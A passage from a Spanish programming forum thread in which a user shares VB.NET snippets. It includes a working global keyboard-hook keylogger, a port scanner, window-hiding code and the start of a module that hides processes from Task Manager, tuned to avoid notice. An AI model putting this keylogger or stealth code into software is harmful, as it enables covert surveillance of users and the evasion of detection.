' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es)) ' Result: Hola mundo
' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde
Public Enum GoogleTranslate_Languages
auto ' Detectar idioma
af ' afrikáans
ar ' árabe
az ' azerí
be ' bielorruso
bg ' búlgaro
bn ' bengalí; bangla
bs ' bosnio
ca ' catalán
ceb ' cebuano
cs ' checo
cy ' galés
da ' danés
de ' alemán
el ' griego
en ' inglés
eo ' esperanto
es ' español
et ' estonio
eu ' euskera
fa ' persa
fi ' finlandés
fr ' francés
ga ' irlandés
gl ' gallego
gu ' gujarati
hi ' hindi
hmn ' Hmong
hr ' croata
ht ' criollo haitiano
hu ' húngaro
hy ' armenio
id ' indonesio
it ' italiano
iw ' hebreo
ja ' japonés
jw ' javanés
ka ' georgiano
km ' Jemer
kn ' canarés
ko ' coreano
la ' latín
lo ' lao
lt ' lituano
lv ' letón
mk ' macedonio
mr ' maratí
ms ' malayo
mt ' maltés
nl ' holandés
no ' noruego
pl ' polaco
pt ' portugués
ro ' rumano
ru ' ruso
sk ' eslovaco
sl ' esloveno
sq ' albanés
sr ' serbio
sv ' sueco
sw ' suajili
ta ' tamil
te ' telugu
th ' tailandés
tl ' tagalo
tr ' turco
uk ' ucraniano
ur ' urdu
vi ' vietnamita
yi ' yidis
zh_CN ' chino
End Enum
Public Function Google_Translate(ByVal Input As String, _
ByVal From_Language As GoogleTranslate_Languages, _
ByVal To_Language As GoogleTranslate_Languages) As String
Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
Dim webClient As New System.Net.WebClient
Dim str = webClient.DownloadString( _
"http://translate.google.com/translate_a/t?client=t&text=" & Input & _
"&sl=" & Formatted_From_Language & _
"&tl=" & Formatted_To_Language & "")
Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First)
End Function
#End Region
Extra:
-> [BATCH] GTC (Google Translate Console) (http://foro.elhacker.net/buscador-t358970.0.html)
Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger.
La idea la tuve de un code que vi de Kub0x
Esta es la parte que me he currado yo:
#Region " KeyLogger "
Public WithEvents KeysHook As New KeyboardHook
Dim Auto_Backspace_Key As Boolean = True
Dim Auto_Enter_Key As Boolean = True
Dim Auto_Tab_Key As Boolean = True
Dim No_F_Keys As Boolean = False
Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown
Select Case Control.ModifierKeys
Case 393216 ' Alt-GR + Key
Select Case Key
Case Keys.D1 : Key_Listener("|")
Case Keys.D2 : Key_Listener("@")
Case Keys.D3 : Key_Listener("#")
Case Keys.D4 : Key_Listener("~")
Case Keys.D5 : Key_Listener("€")
Case Keys.D6 : Key_Listener("¬")
Case Keys.E : Key_Listener("€")
Case Keys.Oem1 : Key_Listener("[")
Case Keys.Oem5 : Key_Listener("\")
Case Keys.Oem7 : Key_Listener("{")
Case Keys.Oemplus : Key_Listener("]")
Case Keys.OemQuestion : Key_Listener("}")
Case Else : Key_Listener("")
End Select
Case 65536 ' LShift/RShift + Key
Select Case Key
Case Keys.D0 : Key_Listener("=")
Case Keys.D1 : Key_Listener("!")
Case Keys.D2 : Key_Listener("""")
Case Keys.D3 : Key_Listener("·")
Case Keys.D4 : Key_Listener("$")
Case Keys.D5 : Key_Listener("%")
Case Keys.D6 : Key_Listener("&")
Case Keys.D7 : Key_Listener("/")
Case Keys.D8 : Key_Listener("(")
Case Keys.D9 : Key_Listener(")")
Case Keys.Oem1 : Key_Listener("^")
Case Keys.Oem5 : Key_Listener("ª")
Case Keys.Oem6 : Key_Listener("¿")
Case Keys.Oem7 : Key_Listener("¨")
Case Keys.OemBackslash : Key_Listener(">")
Case Keys.Oemcomma : Key_Listener(";")
Case Keys.OemMinus : Key_Listener("_")
Case Keys.OemOpenBrackets : Key_Listener("?")
Case Keys.OemPeriod : Key_Listener(":")
Case Keys.Oemplus : Key_Listener("*")
Case Keys.OemQuestion : Key_Listener("Ç")
Case Keys.Oemtilde : Key_Listener("Ñ")
Case Else : Key_Listener("")
End Select
Case Else
If Key.ToString.Length = 1 Then ' Single alpha key
If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then
Key_Listener(Key.ToString.ToUpper)
Else
Key_Listener(Key.ToString.ToLower)
End If
Else
Select Case Key ' Single special key
Case Keys.Add : Key_Listener("+")
Case Keys.Back : Key_Listener("{BackSpace}")
Case Keys.D0 : Key_Listener("0")
Case Keys.D1 : Key_Listener("1")
Case Keys.D2 : Key_Listener("2")
Case Keys.D3 : Key_Listener("3")
Case Keys.D4 : Key_Listener("4")
Case Keys.D5 : Key_Listener("5")
Case Keys.D6 : Key_Listener("6")
Case Keys.D7 : Key_Listener("7")
Case Keys.D8 : Key_Listener("8")
Case Keys.D9 : Key_Listener("9")
Case Keys.Decimal : Key_Listener(".")
Case Keys.Delete : Key_Listener("{Supr}")
Case Keys.Divide : Key_Listener("/")
Case Keys.End : Key_Listener("{End}")
Case Keys.Enter : Key_Listener("{Enter}")
Case Keys.F1 : Key_Listener("{F1}")
Case Keys.F10 : Key_Listener("{F10}")
Case Keys.F11 : Key_Listener("{F11}")
Case Keys.F12 : Key_Listener("{F12}")
Case Keys.F2 : Key_Listener("{F2}")
Case Keys.F3 : Key_Listener("{F3}")
Case Keys.F4 : Key_Listener("{F4}")
Case Keys.F5 : Key_Listener("{F5}")
Case Keys.F6 : Key_Listener("{F6}")
Case Keys.F7 : Key_Listener("{F7}")
Case Keys.F8 : Key_Listener("{F8}")
Case Keys.F9 : Key_Listener("{F9}")
Case Keys.Home : Key_Listener("{Home}")
Case Keys.Insert : Key_Listener("{Insert}")
Case Keys.Multiply : Key_Listener("*")
Case Keys.NumPad0 : Key_Listener("0")
Case Keys.NumPad1 : Key_Listener("1")
Case Keys.NumPad2 : Key_Listener("2")
Case Keys.NumPad3 : Key_Listener("3")
Case Keys.NumPad4 : Key_Listener("4")
Case Keys.NumPad5 : Key_Listener("5")
Case Keys.NumPad6 : Key_Listener("6")
Case Keys.NumPad7 : Key_Listener("7")
Case Keys.NumPad8 : Key_Listener("8")
Case Keys.NumPad9 : Key_Listener("9")
Case Keys.Oem1 : Key_Listener("`")
Case Keys.Oem5 : Key_Listener("º")
Case Keys.Oem6 : Key_Listener("¡")
Case Keys.Oem7 : Key_Listener("´")
Case Keys.OemBackslash : Key_Listener("<")
Case Keys.Oemcomma : Key_Listener(",")
Case Keys.OemMinus : Key_Listener(".")
Case Keys.OemOpenBrackets : Key_Listener("'")
Case Keys.OemPeriod : Key_Listener("-")
Case Keys.Oemplus : Key_Listener("+")
Case Keys.OemQuestion : Key_Listener("ç")
Case Keys.Oemtilde : Key_Listener("ñ")
Case Keys.PageDown : Key_Listener("{AvPag}")
Case Keys.PageUp : Key_Listener("{RePag}")
Case Keys.Space : Key_Listener(" ")
Case Keys.Subtract : Key_Listener("-")
Case Keys.Tab : Key_Listener("{Tabulation}")
Case Else : Key_Listener("")
End Select
End If
End Select
End Sub
Public Sub Key_Listener(ByVal key As String)
If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character
RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line
RichTextBox1.Text += ControlChars.NewLine
ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation
RichTextBox1.Text += ControlChars.Tab
ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys
Else ' Print the character
RichTextBox1.Text += key
End If
End Sub
#End Region
Y esta es la class del Hook:
Imports System.Runtime.InteropServices
Public Class KeyboardHook
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
End Function
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
End Function
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
End Function
<StructLayout(LayoutKind.Sequential)> _
Private Structure KBDLLHOOKSTRUCT
Public vkCode As UInt32
Public scanCode As UInt32
Public flags As KBDLLHOOKSTRUCTFlags
Public time As UInt32
Public dwExtraInfo As UIntPtr
End Structure
<Flags()> _
Private Enum KBDLLHOOKSTRUCTFlags As UInt32
LLKHF_EXTENDED = &H1
LLKHF_INJECTED = &H10
LLKHF_ALTDOWN = &H20
LLKHF_UP = &H80
End Enum
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const HC_ACTION As Integer = 0
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
Private HHookID As IntPtr = IntPtr.Zero
Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
If (nCode = HC_ACTION) Then
Dim struct As KBDLLHOOKSTRUCT
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
End Select
End If
Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
End Function
Public Sub New()
HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
If HHookID = IntPtr.Zero Then
Throw New Exception("Could not set keyboard hook")
End If
End Sub
Protected Overrides Sub Finalize()
If Not HHookID = IntPtr.Zero Then
UnhookWindowsHookEx(HHookID)
End If
MyBase.Finalize()
End Sub
End Class
Elektro pone al principio del ultimo snippet ublic, en vez de Public. :laugh:
Cita de: Seazoux en 2 Junio 2013, 16:47 PMElektro pone al principio del ultimo snippet ublic, en vez de Public. :laugh:
Corregido, gracias.
¿Alguna imperfección más? xD
Salu2!
Creo que no. xD
LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX:
Escanear un puerto abierto
#Region " Port Scan "
' [ Port Scan Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Port_Scan("84.126.113.10", 80))
' MsgBox(Port_Scan("84.126.113.10", 80, Net.Sockets.ProtocolType.Udp))
Private Function Port_Scan(ByVal IP As String, ByVal Port As Int32, _
Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp) As Boolean
Dim Open As Boolean
Try
Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
System.Net.Sockets.SocketType.Stream, Type)
socket.Connect(IP, Port)
Open = socket.Connected
socket.Disconnect(False)
Return Open
Catch ex As Exception
MsgBox(ex.Message)
' Return False
End Try
End Function
#End Region
Escanear un rango de puertos
#Region " Port Range Scan "
' [ Port Range Scan Function ]
'
' // By Elektro H@cker
'
' Examples :
' For Each Open_Port In Port_Range_Scan("84.126.113.10, 1, 5000) : MsgBox(Open_Port) : Next
Private Function Port_Range_Scan(ByVal IP As String, ByVal Port_Start As Int32, ByVal Port_End As Int32, _
Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp _
) As List(Of String)
Dim Open_Ports_List As New List(Of String)
Try
For Port As Int32 = Port_Start To Port_End
Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
System.Net.Sockets.SocketType.Stream, Type)
socket.Connect(IP, Port)
If socket.Connected Then Open_Ports_List.Add(Port)
socket.Disconnect(False)
Next Port
Return Open_Ports_List
Catch ex As Exception
MsgBox(ex.Message)
Return Nothing
End Try
End Function
#End Region
Como heredar un control para eliminar al 100% el Flickering en un control Default de un WindowsForm:
(Me he pasado unos 3-5 meses buscando una solución eficaz a esto ...Y aunque esta no es la solución más óptima, funciona y la considero eficaz en el aspecto de que funciona al 100%, pero leer el comentario que he dejado en inglés.)
Public Class Panel_Without_Flickering
Inherits Panel
Public Sub New()
Me.DoubleBuffered = False
Me.ResumeLayout(False)
End Sub
' Caution:
' This turns off any Flicker effect
' ...but also reduces the performance (speed) of the control about 30% slower.
' This don't affect to the performance of the application, only to the performance of this control.
Protected Overrides ReadOnly Property CreateParams() As CreateParams
Get
Dim cp As CreateParams = MyBase.CreateParams
cp.ExStyle = cp.ExStyle Or &H2000000
Return cp
End Get
End Property
End Class
Un ejemplo hecho por mi de como heredar un control cualquiera, más bien es una especie de plantilla...
Public Class MyControl ' Name of this control.
Inherits PictureBox ' Name of the inherited control.
#Region " New "
Public Sub New()
Me.DoubleBuffered = True
Me.SetStyle(ControlStyles.ResizeRedraw, False)
Me.Name = "MyControl"
'Me.Text = "Text"
'Me.Size = New Point(60, 60)
End Sub
#End Region
#Region " Properties "
Private _Description As String = String.Empty
''' <summary>
''' Add a description for this control.
''' </summary>
Public Property Description() As String
Get
Return _Description
End Get
Set(ByVal Value As String)
Me._Description = Value
End Set
End Property
#End Region
#Region " Event handlers "
' Private Sub MyControl_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Click
' Me.ForeColor = Color.White
' Me.BackColor = Color.CadetBlue
' End Sub
' Protected Overrides Sub OnPaint(ByVal pEvent As PaintEventArgs)
' MyBase.OnPaint(pEvent)
' If Me.Checked Then
' pEvent.Graphics.FillRectangle(New SolidBrush(Color.YellowGreen), New Rectangle(3, 4, 10, 12))
' End If
' End Sub
#End Region
#Region " Methods / Functions "
''' <summary>
''' Show the autor of this control.
''' </summary>
Public Sub About()
MsgBox("Elektro H@cker")
End Sub
#End Region
End Class
Taskbar Hide-Show
Oculta o desoculta la barra de tareas de Windows.
#Region " Taskbar Hide-Show "
' [ Taskbar Hide-Show]
'
' Examples :
'
' Taskbar.Hide()
' Taskbar.Show()
#End Region
' Taskbar.vb
#Region " Taskbar Class "
''' <summary>
''' Helper class for hiding/showing the taskbar and startmenu on
''' Windows XP and Vista.
''' </summary>
Public Class Taskbar
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function GetWindowText(hWnd As IntPtr, text As System.Text.StringBuilder, count As Integer) As Integer
End Function
<System.Runtime.InteropServices.DllImport("user32.dll", CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
Private Shared Function EnumThreadWindows(threadId As Integer, pfnEnum As EnumThreadProc, lParam As IntPtr) As Boolean
End Function
<System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _
Private Shared Function FindWindow(lpClassName As String, lpWindowName As String) As System.IntPtr
End Function
<System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _
Private Shared Function FindWindowEx(parentHandle As IntPtr, childAfter As IntPtr, className As String, windowTitle As String) As IntPtr
End Function
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function FindWindowEx(parentHwnd As IntPtr, childAfterHwnd As IntPtr, className As IntPtr, windowText As String) As IntPtr
End Function
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function ShowWindow(hwnd As IntPtr, nCmdShow As Integer) As Integer
End Function
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function GetWindowThreadProcessId(hwnd As IntPtr, lpdwProcessId As Integer) As UInteger
End Function
Private Const SW_HIDE As Integer = 0
Private Const SW_SHOW As Integer = 5
Private Const VistaStartMenuCaption As String = "Start"
Private Shared vistaStartMenuWnd As IntPtr = IntPtr.Zero
Private Delegate Function EnumThreadProc(hwnd As IntPtr, lParam As IntPtr) As Boolean
''' <summary>
''' Show the taskbar.
''' </summary>
Public Shared Sub Show()
SetVisibility(True)
End Sub
''' <summary>
''' Hide the taskbar.
''' </summary>
Public Shared Sub Hide()
SetVisibility(False)
End Sub
''' <summary>
''' Sets the visibility of the taskbar.
''' </summary>
Private Shared WriteOnly Property Visible() As Boolean
Set(value As Boolean)
SetVisibility(value)
End Set
End Property
''' <summary>
''' Hide or show the Windows taskbar and startmenu.
''' </summary>
''' <param name="show">true to show, false to hide</param>
Private Shared Sub SetVisibility(show As Boolean)
' get taskbar window
Dim taskBarWnd As IntPtr = FindWindow("Shell_TrayWnd", Nothing)
' Try the Windows XP TaskBar:
Dim startWnd As IntPtr = FindWindowEx(taskBarWnd, IntPtr.Zero, "Button", "Start")
If startWnd = IntPtr.Zero Then
' Try an alternate way of Windows XP TaskBar:
startWnd = FindWindowEx(IntPtr.Zero, IntPtr.Zero, CType(&HC017, IntPtr), "Start")
End If
If startWnd = IntPtr.Zero Then
' Try the Windows Vista/7 TaskBar:
startWnd = FindWindow("Button", Nothing)
If startWnd = IntPtr.Zero Then
' Try an alternate way of Windows Vista/7 TaskBar:
startWnd = GetVistaStartMenuWnd(taskBarWnd)
End If
End If
ShowWindow(taskBarWnd, If(show, SW_SHOW, SW_HIDE))
ShowWindow(startWnd, If(show, SW_SHOW, SW_HIDE))
End Sub
''' <summary>
''' Returns the window handle of the Vista start menu orb.
''' </summary>
''' <param name="taskBarWnd">windo handle of taskbar</param>
''' <returns>window handle of start menu</returns>
Private Shared Function GetVistaStartMenuWnd(taskBarWnd As IntPtr) As IntPtr
' get process that owns the taskbar window
Dim procId As Integer
GetWindowThreadProcessId(taskBarWnd, procId)
Dim p As Process = Process.GetProcessById(procId)
If p IsNot Nothing Then
' enumerate all threads of that process...
For Each t As ProcessThread In p.Threads
EnumThreadWindows(t.Id, AddressOf MyEnumThreadWindowsProc, IntPtr.Zero)
Next
End If
Return vistaStartMenuWnd
End Function
''' <summary>
''' Callback method that is called from 'EnumThreadWindows' in 'GetVistaStartMenuWnd'.
''' </summary>
''' <param name="hWnd">window handle</param>
''' <param name="lParam">parameter</param>
''' <returns>true to continue enumeration, false to stop it</returns>
Private Shared Function MyEnumThreadWindowsProc(hWnd As IntPtr, lParam As IntPtr) As Boolean
Dim buffer As New System.Text.StringBuilder(256)
If GetWindowText(hWnd, buffer, buffer.Capacity) > 0 Then
Console.WriteLine(buffer)
If buffer.ToString() = VistaStartMenuCaption Then
vistaStartMenuWnd = hWnd
Return False
End If
End If
Return True
End Function
End Class
#End Region
Recorre todos los controles de "X" tipo en un container.
#Region " Disable Controls "
' [ Disable Controls ]
'
' // By Elektro H@cker
'
' Examples:
'
' Disable_Controls(Of CheckBox)(Me.Controls, False)
' Disable_Controls(Of Button)(GroupBox1.Controls, False)
Public Sub Disable_Controls(Of T As Control)(ByVal Container As Object, ByVal Enabled As Boolean)
For Each control As T In Container : control.Enabled = Enabled : Next
End Sub
#End Region
Pequeño ejemplo de como saber el tipo de objeto:
MsgBox(TypeName(Me)) ' Result: Form1
MsgBox(TypeName(Me.Text)) ' Result: String
MsgBox(TypeName(Panel1)) ' Result: Panel
Hide-Restore Process
Para ocultar o reestablecer la visibilidad de un proceso,
Esto solo oculta la ventana del proceso, no lo oculta del administrador de tareas,
la función "Restore" no está muy pulida, para perfeccionarlo habría que guardar cada handle de los procesos escondidos en un tipo de diccionario si se quiere usar con más de un proceso simultáneamente, ya que cuando ocultas una ventana, el handle se vuelve "0".
EDITO: Código mejorado:
#Region " Hide-Restore Process "
' [ Hide-Restore Process Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' Hide_Process(Process.GetCurrentProcess().MainModule.ModuleName, False)
' Hide_Process("notepad.exe", False)
' Hide_Process("notepad", True)
'
' Restore_Process(Process.GetCurrentProcess().MainModule.ModuleName, False)
' Restore_Process("notepad.exe", False)
' Restore_Process("notepad", True)
Dim Process_Handle_Dictionary As New Dictionary(Of String, IntPtr)
<System.Runtime.InteropServices.DllImport("User32")> Private Shared Function ShowWindow(ByVal hwnd As IntPtr, ByVal nCmdShow As Int32) As Int32
End Function
Private Sub Hide_Process(ByVal Process_Name As String, Optional ByVal Recursive As Boolean = False)
If Process_Name.ToLower.EndsWith(".exe") Then Process_Name = Process_Name.Substring(0, Process_Name.Length - 4)
Dim proc() As Process = Process.GetProcessesByName(Process_Name)
If Recursive Then
For proc_num As Integer = 0 To proc.Length - 1
Try
Process_Handle_Dictionary.Add(Process_Name & ";" & proc(proc_num).Handle.ToString, proc(proc_num).MainWindowHandle)
ShowWindow(proc(proc_num).MainWindowHandle, 0)
Catch ex As Exception
' MsgBox(ex.Message) ' The handle already exist in the Dictionary
End Try
Application.DoEvents()
Next
Else
If Not proc.Length = 0 AndAlso Not proc(0).MainWindowHandle = 0 Then
Process_Handle_Dictionary.Add(Process_Name & ";" & proc(0).Handle.ToString, proc(0).MainWindowHandle)
ShowWindow(proc(0).MainWindowHandle, 0)
End If
End If
End Sub
Private Sub Restore_Process(ByVal Process_Name As String, Optional ByVal Recursive As Boolean = False)
If Process_Name.ToLower.EndsWith(".exe") Then Process_Name = Process_Name.Substring(0, Process_Name.Length - 4)
Dim Temp_Dictionary As New Dictionary(Of String, IntPtr) ' Replic of the "Process_Handle_Dictionary" dictionary
For Each Process In Process_Handle_Dictionary : Temp_Dictionary.Add(Process.Key, Process.Value) : Next
If Recursive Then
For Each Process In Temp_Dictionary
If Process.Key.ToLower.Contains(Process_Name.ToLower) Then
ShowWindow(Process.Value, 9)
Process_Handle_Dictionary.Remove(Process.Key)
End If
Application.DoEvents()
Next
Else
For Each Process In Temp_Dictionary
If Process.Key.ToLower.Contains(Process_Name.ToLower) Then
ShowWindow(Process.Value, 9)
Process_Handle_Dictionary.Remove(Process.Key)
Exit For
End If
Application.DoEvents()
Next
End If
End Sub
#End Region
Un panel extendido con varias propiedades nuevas e interesantes...
'
' /* *\
' |#* Panel Elektro *#|
' \* */
'
' // By Elektro H@cker
'
' Properties:
' ...........
' · Disable_Flickering
' · Double_Buffer
' · Opaccity
' · Scroll_Loop
Public Class Panel_Elektro
Inherits Panel
Private _Opaccity As Int16 = 100
Private _Diable_Flickering As Boolean = True
Private _Scroll_Loop As Boolean = False
Dim Scroll_Range As Int64 = 0
Public Sub New()
Me.Name = "Panel_Elektro"
' Me.AutoScroll = True
' ResumeLayout(False)
End Sub
#Region " Properties "
''' <summary>
''' Enable/Disable any flickering effect on the panel.
''' </summary>
Protected Overrides ReadOnly Property CreateParams() As CreateParams
Get
If _Diable_Flickering Then
Dim cp As CreateParams = MyBase.CreateParams
cp.ExStyle = cp.ExStyle Or &H2000000
Return cp
Else
Return MyBase.CreateParams
End If
End Get
End Property
''' <summary>
''' Set the Double Buffer.
''' </summary>
Public Property Double_Buffer() As Boolean
Get
Return Me.DoubleBuffered
End Get
Set(ByVal Value As Boolean)
Me.DoubleBuffered = Value
End Set
End Property
''' <summary>
''' Set the transparency for this panel.
''' </summary>
Public Property Opaccity() As Short
Get
Return _Opaccity
End Get
Set(ByVal Value As Short)
If Value > 100 Then Throw New Exception("Opaccity range is from 0 to 100")
If Value < 0 Then Throw New Exception("Opaccity range is from 0 to 100")
Me._Opaccity = Value
Make_Opaccity(Value, Me.BackColor)
End Set
End Property
''' <summary>
''' Enable/Disable the flickering effects on this panel.
'''
''' This property turns off any Flicker effect on the panel
''' ...but also reduces the performance (speed) of the panel about 30% slower.
''' This don't affect to the performance of the application itself, only to the performance of this control.
''' </summary>
Public Property Diable_Flickering() As Boolean
Get
Return _Diable_Flickering
End Get
Set(ByVal Value As Boolean)
Me._Diable_Flickering = Value
End Set
End Property
''' <summary>
''' Enable/Disable the scroll loop effect.
''' Only when AutoScroll option is set to "True".
''' </summary>
Public Property Scroll_Loop() As Boolean
Get
Return _Scroll_Loop
End Get
Set(ByVal Value As Boolean)
Me._Scroll_Loop = Value
End Set
End Property
#End Region
#Region " Event handlers "
' Scroll
Private Sub Infinite_Scroll_Button(sender As Object, e As ScrollEventArgs) Handles Me.Scroll
If _Scroll_Loop AndAlso Me.AutoScroll Then
Set_Scroll_Range()
If Me.VerticalScroll.Value >= Scroll_Range - 4 Then ' Button Down
Me.VerticalScroll.Value = 1
ElseIf Me.VerticalScroll.Value <= 0 Then ' Button Up
Me.VerticalScroll.Value = Scroll_Range
End If
End If
End Sub
' MouseWheel (Scroll)
Private Sub Infinite_Scroll_MouseWheel(sender As Object, e As MouseEventArgs) Handles Me.MouseWheel
If _Scroll_Loop AndAlso Me.AutoScroll Then
Set_Scroll_Range()
If e.Delta < 0 AndAlso Me.VerticalScroll.Value >= Scroll_Range - 4 Then ' MouseWheel Down
Me.VerticalScroll.Value = 1
ElseIf e.Delta > 0 AndAlso Me.VerticalScroll.Value <= 0 Then ' MouseWheel Up
Me.VerticalScroll.Value = Scroll_Range
End If
End If
End Sub
#End Region
#Region " Methods / Functions "
''' <summary>
''' Changes the transparency of this panel.
''' </summary>
Private Sub Make_Opaccity(ByVal Percent As Short, ByVal colour As Color)
Me.BackColor = Color.FromArgb(Percent * 255 / 100, colour.R, colour.G, colour.B)
End Sub
''' <summary>
''' Set the VerticalScrollBar Range.
''' </summary>
Private Sub Set_Scroll_Range()
Scroll_Range = Me.VerticalScroll.Maximum - Me.VerticalScroll.LargeChange + Me.VerticalScroll.SmallChange
End Sub
#End Region
End Class
· Ocultar uno o varios procesos en el Task Manager (Si, en el administrador de tareas!)
(Este código es originálmente de un anónimo (La class "TMListViewDelete", no sé ni me voy a molestar en buscar el nombre del autor), modificado por Kub0x, y vuelto a modificar por mí.)
-> http://foro.elhacker.net/net/aporte_ocultar_aplicacion_en_administrador_de_tareas-t359259.0.html
· Añadida compatibilidad para Windows en el lenguaje Inglés y Alemán, y con posibilidad de añadir fácilmente más soporte para otros lenguajes.
· Ahora se puede ocultar varios procesos al mismo tiempo.
· Añadida opción para poder especificar el/los proceso(s) que queremos ocultar.
· Añadida opción para controlar el intervalo de tiempo en el que se procesa la lista del TaskManager (Por defecto 3 ms, para evitar efectos visuales sospechosos en el TaskManager).
· Reorganización de la estructura del código original (Contenía demasiadas regiones para mi gusto y me dificultaba la lectura).
NOTAS: Si se ocultan varios procesos al mismo tiempo, aunque se use 1 ms para el intervalo del timer puede dar esos efectos visuales extraños en la lista del task manager, así que no excederse si se requiere perfección xD.
Lo he testeado en:
WinXP x86 Inglés
WinXP x86 Español
Win7 x86 Inglés
Win7 x64 Español
Win7 x64 Inglés
Win7 x64 Español
En Windows 8 No funciona.
A menos que se utilice el replacamiento NO oficial del TaskManager por el TaskManager de Windows 7 (como hago yo) porque el TaskManager de windows 8 no me gusta)
Ejemplos de uso:
Hide_Process_From_TaskManager.Processes_Names = _
{Process.GetCurrentProcess.ProcessName, "cmd", "notepad.exe"} ' Processes to hide.
Hide_Process_From_TaskManager.Task_Manager_Window_Titles = _
{"Administrador de tareas de Windows", "Windows Task Manager"} ' Support for unknown TaskManager Window Titles.
Hide_Process_From_TaskManager.Hide_Interval = 3 ' Hidding Interval.
Hide_Process_From_TaskManager.Running = True ' Start hidding processes.
Hide_Process_From_TaskManager.Running = False ' Stop hidding processes.
Los créditos son por orden para el creador de la Class TMListViewDelete que ronda por internet,
luego para las modificaciones de Kub0x y por tener la generosidad de haber compartido el código,
y por último para mis modificaciones y compartirlo con vosotros. :)
Aquí tienen:
#Region " Hide Process From TaskManager "
' [ Hide Process From TaskManager ]
'
' // By Elektro H@cker
'
' Examples :
'
' Hide_Process_From_TaskManager.Processes_Names = {Process.GetCurrentProcess.ProcessName, "cmd", "notepad.exe"} ' Processes to hide.
' Hide_Process_From_TaskManager.Task_Manager_Window_Titles = {"Administrador de tareas de Windows", "Windows Task Manager"} ' Support for unknown TaskManager Window Titles.
' Hide_Process_From_TaskManager.Hide_Interval = 3 ' Hidding Interval.
' Hide_Process_From_TaskManager.Running = True ' Start hidding processes.
' Hide_Process_From_TaskManager.Running = False ' Stop hidding processes.
#Region " Hide Process From TaskManager Class "
Imports Microsoft.Win32.SafeHandles
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.ComponentModel
Module Hide_Process_From_TaskManager
#Region " API's "
Private Delegate Function EnumDelegate(ByVal lngHwnd As IntPtr, ByVal lngLParam As Integer) As Integer
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
Private Declare Function EnumChildWindows Lib "user32.dll" (ByVal hWndParent As IntPtr, ByVal lpEnumFunc As EnumDelegate, ByVal lParam As Integer) As Integer
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As IntPtr) As Integer
